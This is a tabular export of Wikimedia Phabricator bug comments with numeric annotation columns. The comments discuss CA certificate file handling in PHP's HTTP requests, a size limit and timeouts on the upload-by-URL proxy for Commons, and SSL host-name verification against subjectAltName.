+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/237000]]",,,1441932802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+523130,PhpHttpRequest requires a certificate repository,"Change 237003 had a related patch set uploaded (by Gergő Tisza):
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/237003]]
+",,,1441759480,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+523129,PhpHttpRequest requires a certificate repository,"Change 237002 had a related patch set uploaded (by Gergő Tisza):
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/237002]]
+",,,1441759463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+523127,PhpHttpRequest requires a certificate repository,"Change 237000 had a related patch set uploaded (by Gergő Tisza):
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/237000]]
+",,,1441759423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+522967,PhpHttpRequest requires a certificate repository,"Change 222079 merged by jenkins-bot:
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/222079]]",,,1441744463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+517413,PhpHttpRequest requires a certificate repository,"[[ http://stackoverflow.com/a/22004120/323407 | This Stackoverflow answer ]] (written by a PHP dev who works on SSL issues) is a good summary of the situation. Some highlights:
+* PHP pre-5.6 does not support Windows certfiles for SSL (cannot handle the format)
+* PHP 5.6 supports OS cert files (both Linux and Windows) which means it will actually be better than curl (which comes with bundled root certs and is less up to date)
+
+Also, PHP 5.6 got a huge SSL update in general. So we might want to revisit our decision to prefer libcurl when available.
+
+Unrelated to this task but the TLS defaults RFC has [[ https://wiki.php.net/rfc/improved-tls-defaults#tldr_definitive_progress | an example ]] for sending secure requests in old PHP which includes setting `'disable_compression' => true` (to prevent [[ https://en.wikipedia.org/wiki/CRIME | CRIME ]] I presume), which we don't.",,,1440970396,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+514846,PhpHttpRequest requires a certificate repository,Is this ready to merge? into upcoming point releases?  we're basically way overdue for giving up on clients that can't do basic HTTPS...,,,1440592195,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+484796,PhpHttpRequest requires a certificate repository,"Change 222079 had a related patch set uploaded (by Brian Wolff):
+Use system default location for cafile when using php fopen.
+
+[[https://gerrit.wikimedia.org/r/222079]]
+",,,1435740180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+484770,PhpHttpRequest requires a certificate repository,"Starting with php 5.6 we have the nice openssl_get_cert_locations() function... but that doesn't help us on older versions.
+
+I think we should just check if /etc/ssl/certs exists (and whatever other common places exist) and use that
+
+http://www.docnet.nu/tech-portal/2014/06/26/ssl-and-php-streams-part-1-you-are-doing-it-wrongtm/C0 is also interesting reading.
+
+Maybe we should ""encourage"" people to instal php5-curl in the installer. fopen support for ssl is so borked...",,,1435737098,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,0
+75200,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"I just tried to upload 
+
+http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm
+
+using https://commons.wikimedia.org/wiki/Special:Upload as well as via API
+
+(I have ""upload_by_url"" userright enabled).
+
+
+Request URL:
+
+https://commons.wikimedia.org/w/api.php?action=upload&format=json
+
+POST data from API sandbox:
+
+filename=Test%20test.webm&comment=Test%20bug%2072897&url=http%3A%2F%2Ftools.wikimedia.pl%2F~odder%2Fwhitehouse%2F41d5129de542285b6c62.webm&token=d27ea41fb633146835d1a2d1e962f37e545f9bd9%2B%5C
+
+Result:
+
+{
+    ""servedby"": ""mw1139"",
+    ""error"": {
+        ""code"": ""http-bad-status"",
+        ""info"": ""Error fetching file from remote source"",
+        ""0"": ""403"",
+        ""1"": ""Forbidden"",
+        ""*"": ""See https://commons.wikimedia.org/w/api.php for API usage""
+    }
+}
+
+Log entry on the tools.wikimedia.pl server:
+
+tools.wikimedia.pl 208.80.xxx.yyy - - [09/Nov/2014:18:03:30 +0100] ""GET /~odder/whitehouse/41d5129de542285b6c62.webm HTTP/1.1"" 200 932365538 ""-"" ""MediaWiki/1.25wmf6"" 
+
+so MediaWiki gets 200 from the origin server
+
+--------------------------
+**Version**: 1.25-git
+**Severity**: normal
+**URL**: https://commons.wikimedia.org/w/api.php?action=upload&format=json",Medium,50.0,1415552700,1441081095.0,PHID-USER-qduasitr62ffvc5eiivd,False,PHID-USER-qduasitr62ffvc5eiivd,False,PHID-TASK-7vmh7lmz7syayu6w7nab,task_description,resolved,True,c3,1,True,True,True,-34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+518168,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Timeout issues (if any) belong to the different bug I think.
+
+An attempt to upload https://archive.org/download/HansMoserUmEineNasenlaenge/Um_eine_Nasenlaenge_1949_Hans_Moser.ogv (356843452 bytes) results in:
+
+```
+{""servedby"":""mw1136"",""error"":{""code"":""http-timed-out"",
+   ""info"":""Error fetching file from remote source"",
+   ""0"":""http://tools.wikimedia.pl/~saper/Um_eine_Nasenlaenge_1949_Hans_Moser.ogv"",
+   ""*"":""See https://commons.wikimedia.org/w/api.php for API usage""}}
+```
+",,,1441081324,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+470114,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,">>! In T75200#1173463, @Steinsplitter wrote:
+
+> The orginal file (http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm) has been deleted. Can't reproduce.
+
+Sorry  about this, guys; I wasn't aware that a video that I transcoded was being used to test a bug.
+
+I have absolutely no idea what it was (the file name suggests it might have been a Barack Obama speech), and cannot find it right now, but I can upload a new one of around the same size for you to test on if that helps.",,,1433538286,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-4,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+437135,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"I tested uploading:
+* https://commons.wikimedia.org/wiki/File:Test_T75200.png (small file)
+* https://commons.wikimedia.org/wiki/File:Other_test_videoupload.ogv (1,920 × 1,080 (127.19 MB))
+
+from pl toolserver. Works fine.
+
+The orginal file (http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm) has been deleted. Can't reproduce.",,,1427975470,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+437134,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"I tested uploading:
+* https://commons.wikimedia.org/wiki/File:Test_T75200.png (small file)
+* https://commons.wikimedia.org/wiki/File:Other_test_videoupload.ogv (1,920 × 1,080 (127.19 MB))
+
+from pl toolserver. Works fine.
+
+The orgina files (http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm) has been deleted. Can't reproduce.",,,1427975433,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-13,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+436392,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"thanks @saper, I'm not sure there's anything else from operations @tgr ? perhaps if download-by-url times out the regular upload can be suggested to the user or sth like that",,,1427877882,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-14,True,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0
+436158,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Last time I tried was when I commented on this bug - it just timed out probably due to transfer time required.
+
+I don't even have the original video now.",,,1427838106,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+435819,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,what's the status on this btw? did the upload eventually succeeded ?,,,1427811843,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+322447,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to Tisza Gergő from comment #14)
+> (In reply to Bawolff (Brian Wolff) from comment #11)
+> > Its a proxy squid server in between the api and the rest of the internet. I
+> > dont think mw has any way of knowing it hit a file too big instead of legit
+> > 403.
+> 
+> We are talking about a squid operated by WM-PL, right? AFAIK wikimedia.pl is
+> not WMF-hosted.
+
+No, we are talking about url-downloader.wikimedia.org proxy. I believe the proxy is used as a security measure (not 100% sure against what, but isolating user trigerrable http downloads is probably just a goodvidea in general)
+
+> The deeper issue is, then, that we don't have a method for upload-by-url
+> that's not limited by the timeout (unlike normal uploads, where we have the
+> chunked upload API)?
+
+Yes. We used to have an async mode, but its disabled and possibly has issues (not sure what exactly). We may be able to ease issue by increasing various timeouts or removing the restriction against using tool labs (which afaik has a really fast link to production, being in same data centre and all), but ultimately to truly fix this we would need to reserurecte async mode (otoh i have no idea how that would tie in with current UI. But current ui sucks a lot so i suppose it wouldnt matter much)",,,1415795058,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+322439,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to Bawolff (Brian Wolff) from comment #11)
+> Its a proxy squid server in between the api and the rest of the internet. I
+> dont think mw has any way of knowing it hit a file too big instead of legit
+> 403.
+
+We are talking about a squid operated by WM-PL, right? AFAIK wikimedia.pl is not WMF-hosted.
+
+That would make this a bug in the squid configuration of WM-PL, presumably. Is there a tracker where this could be upstreamed then?
+
+> I think the timeout is currently 30 seconds(?) Im not surprised you hit it.
+> You would have to have some pretty good connectivity to transfer a 900mb file
+> in 30 seconds.
+
+The deeper issue is, then, that we don't have a method for upload-by-url that's not limited by the timeout (unlike normal uploads, where we have the chunked upload API)?",,,1415789011,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+322434,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"The only place where squid (or the target website) tell us more details is the body of the error response.
+
+gerrit change 172437 adds remote server output to the debug log to help troubleshoot such issues.",,,1415662470,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0
+322428,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Change 172437 had a related patch set uploaded by saper:
+More debug diagnostics for upload by URL
+
+https://gerrit.wikimedia.org/r/172437",,,1415662207,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+322421,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"In reply to Tisza Gergő from comment #9)
+> If the problem was indeed the file being too large, the API should have a
+> less misleading way of reporting it, so I don't think this is fully fixed.
+>
+
+Its a proxy squid server in between the api and the rest of the internet. I dont think mw has any way of knowing it hit a file too big instead of legit 403.
+
+(In reply to Marcin Cieślak from comment #10)
+> Right now I get ""HTTP request timed out."", so we are one stage ahead. It
+> didn't wait very long before timeout, few seconds maybe.
+
+I think the timeout is currently 30 seconds(?) Im not surprised you hit it. You would have to have some pretty good conectivity to transfer a 900mb file in 30 seconds.",,,1415642754,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+322416,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Right now I get ""HTTP request timed out."", so we are one stage ahead. It didn't wait very long before timeout, few seconds maybe.",,,1415640587,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+322413,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"If the problem was indeed the file being too large, the API should have a less misleading way of reporting it, so I don't think this is fully fixed.
+
+Marcin, can you verify whether the upload works now?",,,1415623730,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+322411,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,Puppet patch has been merged.,,,1415616093,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+322409,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Change 172120 merged by Faidon Liambotis:
+Increase max file size of url downloader proxy to 1010mb
+
+https://gerrit.wikimedia.org/r/172120",,,1415614481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+322404,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Change 172120 had a related patch set uploaded by Brian Wolff:
+Increase max file size of url downloader proxy to 1010mb
+
+https://gerrit.wikimedia.org/r/172120",,,1415560136,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-34,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+322399,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to Bawolff (Brian Wolff) from comment #3)
+> From the url-downloader config:
+> 
+> reply_body_max_size 534773760 allow all
+> 
+> Looks like upload by url has a max file size of 510 mb. (Also I feel like
+> even without that, things might time out before a 900 mb video got uploaded)
+
+https://git.wikimedia.org/blob/operations%2Fpuppet.git/df4b24132abb856323e69a0decf0ebcde65b67fa/modules%2Furl_downloader%2Ftemplates%2Fsquid.conf.erb#L81
+
+Yeah, there are a few references to 510 MB in there.",,,1415559573,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+322392,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to MZMcBride from comment #2)
+
+Ignore me! I mis-read the bug report and Bawolff set me straight.",,,1415559306,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1
+322384,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"From the url-downloader config:
+
+reply_body_max_size 534773760 allow all
+
+Looks like upload by url has a max file size of 510 mb. (Also I feel like even without that, things might time out before a 900 mb video got uploaded)",,,1415559252,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+322379,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,I'm idly wondering whether you're setting a User-Agent and whether you can perform other actions such as edits.,,,1415558156,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0
+322372,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Maybe check to see if it works with a small test file, just to rule out the size of the file triggering something (Yeah, I know, 403 would be the wrong error code for file too big, but just in case).",,,1415558104,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+75199,PhpHttpRequest should not check host against CN x509 attribute,"In the class PhpHttpRequest (file includes/HttpFunctions.php, used when CURL is not installed), the option 'sslVerifyHost' is translated by checking the 'CN' x509 attribute against the host, which is now deprecated with x509 certificate v3 with subjectAltName and this avoid the operation although it was correct.
+
+In particular, this can be observed with `$wgInstantCommons = true' on an HTTPS wiki without php-curl installed, because the commons.wikimedia.org certificate has a CN attribute *.wikipedia.org and commons.wikimedia.org is only in the subjectAltName attribute.
+
+--------------------------
+**Version**: 1.25-git
+**Severity**: normal
+**See Also**:
